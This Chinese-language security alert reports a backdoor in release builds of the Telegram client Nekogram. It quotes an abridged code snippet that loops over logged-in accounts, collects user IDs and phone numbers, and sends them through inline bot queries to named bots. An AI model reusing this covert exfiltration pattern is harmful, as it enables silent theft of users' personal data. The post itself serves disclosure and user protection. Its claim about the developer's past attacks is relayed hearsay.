Nekogram后门事件:你的手机号已被偷偷上传
TL;DR:如果你用过 Nekogram,你的手机号和 Telegram 账号 ID 已经被发送给了开发者。请立即切换回官方客户端
发生了什么
近日,安全研究人员对 Nekogram 的发布版 APK 进行逆向分析,发现其中存在蓄意注入的恶意代码,会在用户毫不知情的情况下,将以下信息上传给开发者:
- 你的 Telegram 用户 ID
- 你的 手机号码
- 如果你登录了多个账号,所有账号的上述信息
技术细节
恶意代码藏在 Extra.java 文件中,没有出现在公开的 GitHub 源码里——开发者是在打包发布时偷偷注入的,所以单看源码根本发现不了
代码逻辑很简单粗暴:
// 遍历最多 8 个账号for (int i = 0; i < 8; i++) { // 抓取用户 ID 和手机号 mapWithAccounts.put(String.valueOf(user.id), phonenum);}// 通过 inline query 悄悄发给 bot,不留任何聊天记录InlineBotHelper.getInstance(...).query(nekonotificationbot, ...toJSON(hashMap));数据通过 Inline Bot Query 方式发送,这种方式的特殊性在于:不会在你的聊天记录里留下任何痕迹
目标接收方包括:
@nekonotificationbot(主要数据接收 bot)tgdb_search_bot(OSINT 人肉搜索 bot)usinfobot(OSINT 人肉搜索 bot)
后两个 bot 的出现意味着,泄露的数据很可能被用于社工查询
为什么格外危险
- Google Play 版本同样中招,不只是从第三方渠道下载的 APK
- 早期版本只针对 +86 号码,现已扩展至所有用户
- Nekogram 作者据悉有 DDoS 攻击和网络骚扰前科
- 该 issue 已在 GitHub 公开:#336
你现在应该做什么
1.立即卸载 Nekogram,切换回 官方 Telegram
2.检查登录设备 设置 → 隐私与安全 → 活跃会话 → 踢掉所有陌生设备
3.开启两步验证 设置 → 隐私与安全 → 两步验证
4.限制手机号可见性 设置 → 隐私 → 手机号码 → 改为”我的联系人”或”没有人”
5.向 Google Play 举报 举报链接
非官方客户端的源码和发布版二进制文件可以完全不同。你看到的源码,不等于你运行的程序
以后下载 Telegram 请只认一个地址:telegram.org
参考来源:Sota Project、GitHub Issue #336